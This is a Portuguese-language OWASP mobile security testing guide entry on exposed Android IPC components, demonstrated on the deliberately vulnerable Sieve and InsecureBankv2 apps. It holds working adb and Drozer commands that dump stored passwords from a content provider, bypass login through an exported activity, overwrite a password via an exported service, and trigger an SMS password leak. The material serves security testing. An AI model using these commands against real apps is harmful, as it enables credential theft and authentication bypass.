MASTG-TEST-0029: Teste de Exposição de Funcionalidade Sensível Através de IPC
Visão Geral¶
Para testar a exposição de funcionalidades sensíveis através de IPC)), você deve primeiro enumerar todos os mecanismos de IPC que o aplicativo utiliza e, em seguida, tentar identificar se dados sensíveis são vazados quando esses mecanismos são usados.
Análise Estática¶
Começamos analisando o AndroidManifest.xml, onde todas as atividades, serviços e provedores de conteúdo incluídos no aplicativo devem ser declarados (caso contrário, o sistema não os reconhecerá e eles não serão executados).
Uma atividade, serviço ou conteúdo "exportado" pode ser acessado por outros aplicativos. Existem duas maneiras comuns de designar um componente como exportado. A primeira é definir a tag export como true android:exported="true". A segunda maneira envolve definir um <intent-filter> dentro do elemento do componente (<activity>, <service>, <receiver>). Quando isso é feito, a tag export é automaticamente definida como "true". Para evitar que todos os outros aplicativos Android interajam com o elemento de componente IPC, certifique-se de que o valor android:exported="true" e um <intent-filter> não estejam em seus arquivos AndroidManifest.xml, a menos que seja necessário.
Lembre-se de que usar a tag de permissão (android:permission) também limitará o acesso de outros aplicativos a um componente. Se seu IPC deve ser acessível a outros aplicativos, você pode aplicar uma política de segurança com o elemento <permission> e definir um android:protectionLevel adequado. Quando android:permission é usado em uma declaração de serviço, outros aplicativos devem declarar um elemento <uses-permission> correspondente em seu próprio manifesto para iniciar, parar ou vincular ao serviço.
Para mais informações sobre provedores de conteúdo, consulte o caso de teste "Testar se Dados Sensíveis Armazenados São Expostos através de Mecanismos de IPC" no capítulo "Testar Armazenamento de Dados".
Uma vez identificada uma lista de mecanismos de IPC, revise o código-fonte para ver se dados sensíveis são vazados quando os mecanismos são utilizados. Por exemplo, provedores de conteúdo podem ser usados para acessar informações do banco de dados, e serviços podem ser sondados para ver se retornam dados. Receptores de transmissão podem vazar informações sensíveis se sondados ou interceptados.
A seguir, usamos dois aplicativos de exemplo e damos exemplos de identificação de componentes de IPC vulneráveis:
Atividades¶
Inspecionar o AndroidManifest¶
No aplicativo "Sieve", encontramos três atividades exportadas, identificadas por <activity>:
<activity android:excludeFromRecents="true" android:label="@string/app_name" android:launchMode="singleTask" android:name=".MainLoginActivity" android:windowSoftInputMode="adjustResize|stateVisible">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_file_select" android:name=".FileSelectActivity" />
<activity android:clearTaskOnLaunch="true" android:excludeFromRecents="true" android:exported="true" android:finishOnTaskLaunch="true" android:label="@string/title_activity_pwlist" android:name=".PWList" />
Inspecionar o Código-Fonte¶
Inspecionando a atividade PWList.java, vemos que ela oferece opções para listar todas as chaves, adicionar, excluir, etc. Se a invocarmos diretamente, poderemos contornar a LoginActivity. Mais sobre isso pode ser encontrado na análise dinâmica abaixo.
Serviços¶
Inspecionar o AndroidManifest¶
No aplicativo "Sieve", encontramos dois serviços exportados, identificados por <service>:
<service android:exported="true" android:name=".AuthService" android:process=":remote" />
<service android:exported="true" android:name=".CryptoService" android:process=":remote" />
Inspecionar o Código-Fonte¶
Verifique o código-fonte da classe android.app.Service:
Ao reverter o aplicativo alvo, podemos ver que o serviço AuthService fornece funcionalidade para alterar a senha e proteger com PIN o aplicativo alvo.
public void handleMessage(Message msg) {
AuthService.this.responseHandler = msg.replyTo;
Bundle returnBundle = msg.obj;
int responseCode;
int returnVal;
switch (msg.what) {
...
case AuthService.MSG_SET /*6345*/:
if (msg.arg1 == AuthService.TYPE_KEY) /*7452*/ {
responseCode = 42;
if (AuthService.this.setKey(returnBundle.getString("com.mwr.example.sieve.PASSWORD"))) {
returnVal = 0;
} else {
returnVal = 1;
}
} else if (msg.arg1 == AuthService.TYPE_PIN) {
responseCode = 41;
if (AuthService.this.setPin(returnBundle.getString("com.mwr.example.sieve.PIN"))) {
returnVal = 0;
} else {
returnVal = 1;
}
} else {
sendUnrecognisedMessage();
return;
}
}
}
Receptores de Transmissão¶
Inspecionar o AndroidManifest¶
No aplicativo "Android Insecure Bank", encontramos um receptor de transmissão no manifesto, identificado por <receiver>:
<receiver android:exported="true" android:name="com.android.insecurebankv2.MyBroadCastReceiver">
<intent-filter>
<action android:name="theBroadcast" />
</intent-filter>
</receiver>
Inspecionar o Código-Fonte¶
Pesquise no código-fonte por strings como sendBroadcast, sendOrderedBroadcast e sendStickyBroadcast. Certifique-se de que o aplicativo não envie nenhum dado sensível.
Se um Intent for transmitido e recebido apenas dentro do aplicativo, o LocalBroadcastManager pode ser usado para evitar que outros aplicativos recebam a mensagem de transmissão. Isso reduz o risco de vazamento de informações sensíveis.
Para entender melhor o que o receptor pretende fazer, precisamos aprofundar nossa análise estática e pesquisar o uso da classe android.content.BroadcastReceiver e do método Context.registerReceiver, que é usado para criar receptores dinamicamente.
O seguinte trecho do código-fonte do aplicativo alvo mostra que o receptor de transmissão aciona a transmissão de uma mensagem SMS contendo a senha descriptografada do usuário.
public class MyBroadCastReceiver extends BroadcastReceiver {
String usernameBase64ByteString;
public static final String MYPREFS = "mySharedPreferences";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences(MYPREFS, Context.MODE_WORLD_READABLE);
final String username = settings.getString("EncryptedUsername", null);
byte[] usernameBase64Byte = Base64.decode(username, Base64.DEFAULT);
usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
final String password = settings.getString("superSecurePassword", null);
CryptoClass crypt = new CryptoClass();
String decryptedPassword = crypt.aesDeccryptedString(password);
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: "+decryptedPassword+" to: "+newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: "+textPhoneno+" password is: "+textMessage);
smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
}
}
}
}
Os BroadcastReceivers devem usar o atributo android:permission; caso contrário, outros aplicativos podem invocá-los. Você pode usar Context.sendBroadcast(intent, receiverPermission); para especificar permissões que um receptor deve ter para ler a transmissão. Você também pode definir um nome de pacote de aplicativo explícito que limita os componentes para os quais este Intent será resolvido. Se deixado como o valor padrão (null), todos os componentes em todos os aplicativos serão considerados. Se não for nulo, o Intent só pode corresponder aos componentes no pacote de aplicativo fornecido.
Análise Dinâmica¶
Você pode enumerar componentes de IPC com MobSF. Para listar todos os componentes de IPC exportados, faça upload do arquivo APK e a coleção de componentes será exibida na tela a seguir:

Provedores de Conteúdo¶
O aplicativo "Sieve" implementa um provedor de conteúdo vulnerável. Para listar os provedores de conteúdo exportados pelo aplicativo Sieve, execute o seguinte comando:
$ adb shell dumpsys package com.mwr.example.sieve | grep -Po "Provider{[\w\d\s\./]+}" | sort -u
Provider{34a20d5 com.mwr.example.sieve/.FileBackupProvider}
Provider{64f10ea com.mwr.example.sieve/.DBContentProvider}
Uma vez identificados, você pode usar jadx para realizar engenharia reversa do aplicativo e analisar o código-fonte dos provedores de conteúdo exportados para identificar possíveis vulnerabilidades.
Para identificar a classe correspondente de um provedor de conteúdo, use as seguintes informações:
- Nome do Pacote:
com.mwr.example.sieve. - Nome da Classe do Provedor de Conteúdo:
DBContentProvider.
Ao analisar a classe com.mwr.example.sieve.DBContentProvider, você verá que ela contém vários URIs:
package com.mwr.example.sieve;
...
public class DBContentProvider extends ContentProvider {
public static final Uri KEYS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Keys");
public static final Uri PASSWORDS_URI = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords");
...
}
Use os seguintes comandos para chamar o provedor de conteúdo usando os URIs identificados:
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Keys/
Row: 0 Password=1234567890AZERTYUIOPazertyuiop, pin=1234
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/
Row: 0 _id=1, service=test, username=test, password=BLOB, email=t@tedt.com
Row: 1 _id=2, service=bank, username=owasp, password=BLOB, email=user@tedt.com
$ adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection email:username:password --where 'service=\"bank\"'
Row: 0 email=user@tedt.com, username=owasp, password=BLOB
Agora você é capaz de recuperar todas as entradas do banco de dados (veja todas as linhas começando com "Row:" na saída).
Atividades¶
Para listar atividades exportadas por um aplicativo, você pode usar o seguinte comando e focar nos elementos activity:
$ aapt d xmltree sieve.apk AndroidManifest.xml
...
E: activity (line=32)
A: android:label(0x01010001)=@0x7f05000f
A: android:name(0x01010003)=".FileSelectActivity" (Raw: ".FileSelectActivity")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=40)
A: android:label(0x01010001)=@0x7f050000
A: android:name(0x01010003)=".MainLoginActivity" (Raw: ".MainLoginActivity")
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
A: android:launchMode(0x0101001d)=(type 0x10)0x2
A: android:windowSoftInputMode(0x0101022b)=(type 0x11)0x14
E: intent-filter (line=46)
E: action (line=47)
A: android:name(0x01010003)="android.intent.action.MAIN" (Raw: "android.intent.action.MAIN")
E: category (line=49)
A: android:name(0x01010003)="android.intent.category.LAUNCHER" (Raw: "android.intent.category.LAUNCHER")
E: activity (line=52)
A: android:label(0x01010001)=@0x7f050009
A: android:name(0x01010003)=".PWList" (Raw: ".PWList")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
E: activity (line=60)
A: android:label(0x01010001)=@0x7f05000a
A: android:name(0x01010003)=".SettingsActivity" (Raw: ".SettingsActivity")
A: android:finishOnTaskLaunch(0x01010014)=(type 0x12)0xffffffff
A: android:clearTaskOnLaunch(0x01010015)=(type 0x12)0xffffffff
A: android:excludeFromRecents(0x01010017)=(type 0x12)0xffffffff
...
Você pode identificar uma atividade exportada usando uma das seguintes propriedades:
- Ela possui uma subdeclaração
intent-filter. - Ela possui o atributo
android:exporteddefinido como0xffffffff.
Você também pode usar jadx para identificar atividades exportadas no arquivo AndroidManifest.xml usando os critérios descritos acima:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.mwr.example.sieve">
...
<!-- Esta atividade é exportada via o atributo "exported" -->
<activity android:name=".FileSelectActivity" android:exported="true" />
<!-- Esta atividade é exportada via a declaração "intent-filter" -->
<activity android:name=".MainLoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<!-- Esta atividade é exportada via o atributo "exported" -->
<activity android:name=".PWList" android:exported="true" />
<!-- As atividades abaixo não são exportadas -->
<activity android:name=".SettingsActivity" />
<activity android:name=".AddEntryActivity"/>
<activity android:name=".ShortLoginActivity" />
<activity android:name=".WelcomeActivity" />
<activity android:name=".PINActivity" />
...
</manifest>
Enumerar as atividades no gerenciador de senhas vulnerável "Sieve" mostra que as seguintes atividades são exportadas:
.MainLoginActivity.PWList.FileSelectActivity
Use o comando abaixo para iniciar uma atividade:
# Inicia a atividade sem especificar uma ação ou uma categoria
$ adb shell am start -n com.mwr.example.sieve/.PWList
Starting: Intent { cmp=com.mwr.example.sieve/.PWList }
# Inicia a atividade indicando uma ação (-a) e uma categoria (-c)
$ adb shell am start -n "com.mwr.example.sieve/.MainLoginActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER
Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.mwr.example.sieve/.MainLoginActivity }
Como a atividade .PWList é chamada diretamente neste exemplo, você pode usá-la para contornar o formulário de login que protege o gerenciador de senhas e acessar os dados contidos nele.
Serviços¶
Serviços podem ser enumerados com o módulo Drozer app.service.info:
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
Para se comunicar com um serviço, você deve primeiro usar análise estática para identificar as entradas necessárias.
Como este serviço é exportado, você pode usar o módulo app.service.send para se comunicar com o serviço e alterar a senha armazenada no aplicativo alvo:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 6345 7452 1 --extra string com.mwr.example.sieve.PASSWORD "abcdabcdabcdabcd" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
what: 4
arg1: 42
arg2: 0
Empty
Receptores de Transmissão¶
Para listar receptores de transmissão exportados por um aplicativo, você pode usar o seguinte comando e focar nos elementos receiver:
$ aapt d xmltree InsecureBankv2.apk AndroidManifest.xml
...
E: receiver (line=88)
A: android:name(0x01010003)="com.android.insecurebankv2.MyBroadCastReceiver" (Raw: "com.android.insecurebankv2.MyBroadCastReceiver")
A: android:exported(0x01010010)=(type 0x12)0xffffffff
E: intent-filter (line=91)
E: action (line=92)
A: android:name(0x01010003)="theBroadcast" (Raw: "theBroadcast")
E: receiver (line=119)
A: android:name(0x01010003)="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" (Raw: "com.google.android.gms.wallet.EnableWalletOptimizationReceiver")
A: android:exported(0x01010010)=(type 0x12)0x0
E: intent-filter (line=122)
E: action (line=123)
A: android:name(0x01010003)="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION" (Raw: "com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION")
...
Você pode identificar um receptor de transmissão exportado usando uma das seguintes propriedades:
- Ele possui uma subdeclaração
intent-filter. - Ele possui o atributo
android:exporteddefinido como0xffffffff.
Você também pode usar jadx para identificar receptores de transmissão exportados no arquivo AndroidManifest.xml usando os critérios descritos acima:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.insecurebankv2">
...
<!-- Este receptor de transmissão é exportado via o atributo "exported" bem como a declaração "intent-filter" -->
<receiver android:name="com.android.insecurebankv2.MyBroadCastReceiver" android:exported="true">
<intent-filter>
<action android:name="theBroadcast"/>
</intent-filter>
</receiver>
<!-- Este receptor de transmissão NÃO é exportado porque o atributo "exported" é explicitamente definido como false -->
<receiver android:name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver" android:exported="false">
<intent-filter>
<action android:name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION"/>
</intent-filter>
</receiver>
...
</manifest>
O exemplo acima do aplicativo bancário vulnerável InsecureBankv2 mostra que apenas o receptor de transmissão chamado com.android.insecurebankv2.MyBroadCastReceiver é exportado.
Agora que você sabe que há um receptor de transmissão exportado, pode se aprofundar e fazer engenharia reversa do aplicativo usando jadx. Isso permitirá que você analise o código-fonte em busca de possíveis vulnerabilidades que poderá tentar explorar posteriormente. O código-fonte do receptor de transmissão exportado é o seguinte:
package com.android.insecurebankv2;
...
public class MyBroadCastReceiver extends BroadcastReceiver {
public static final String MYPREFS = "mySharedPreferences";
String usernameBase64ByteString;
public void onReceive(Context context, Intent intent) {
String phn = intent.getStringExtra("phonenumber");
String newpass = intent.getStringExtra("newpass");
if (phn != null) {
try {
SharedPreferences settings = context.getSharedPreferences("mySharedPreferences", 1);
this.usernameBase64ByteString = new String(Base64.decode(settings.getString("EncryptedUsername", (String) null), 0), "UTF-8");
String decryptedPassword = new CryptoClass().aesDeccryptedString(settings.getString("superSecurePassword", (String) null));
String textPhoneno = phn.toString();
String textMessage = "Updated Password from: " + decryptedPassword + " to: " + newpass;
SmsManager smsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: " + textPhoneno + " password is: " + textMessage);
smsManager.sendTextMessage(textPhoneno, (String) null, textMessage, (PendingIntent) null, (PendingIntent) null);
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("Phone number is null");
}
}
}
Como você pode ver no código-fonte, este receptor de transmissão espera dois parâmetros chamados phonenumber e newpass. Com esta informação, você pode agora tentar explorar este receptor de transmissão enviando eventos para ele usando valores personalizados:
# Envia um evento com as seguintes propriedades:
# A ação é definida como "theBroadcast"
# O parâmetro "phonenumber" é definido como a string "07123456789"
# O parâmetro "newpass" é definido como a string "12345"
$ adb shell am broadcast -a theBroadcast --es phonenumber "07123456789" --es newpass "12345"
Broadcasting: Intent { act=theBroadcast flg=0x400000 (has extras) }
Broadcast completed: result=0
Isso gera o seguinte SMS:
Updated Password from: SecretPassword@ to: 12345
Sniffing de Intents¶
Se um aplicativo Android transmitir intents sem definir uma permissão necessária ou especificar o pacote de destino, os intents podem ser monitorados por qualquer aplicativo que seja executado no dispositivo.
Para registrar um receptor de transmissão para sniffar intents, use o módulo Drozer app.broadcast.sniff e especifique a ação a ser monitorada com o parâmetro --action:
dz> run app.broadcast.sniff --action theBroadcast
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: theBroadcast
Raw: Intent { act=theBroadcast flg=0x10 (has extras) }
Extra: phonenumber=07123456789 (java.lang.String)
Extra: newpass=12345 (java.lang.String)`
Você também pode usar o seguinte comando para sniffar os intents. No entanto, o conteúdo dos extras passados não será exibido:
$ adb shell dumpsys activity broadcasts | grep "theBroadcast"
BroadcastRecord{fc2f46f u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
BroadcastRecord{7d4f24d u0 theBroadcast} to user 0
Intent { act=theBroadcast flg=0x400010 (has extras) }
45: act=theBroadcast flg=0x400010 (has extras)
46: act=theBroadcast flg=0x400010 (has extras)
121: act=theBroadcast flg=0x400010 (has extras)
144: act=theBroadcast flg=0x400010 (has extras)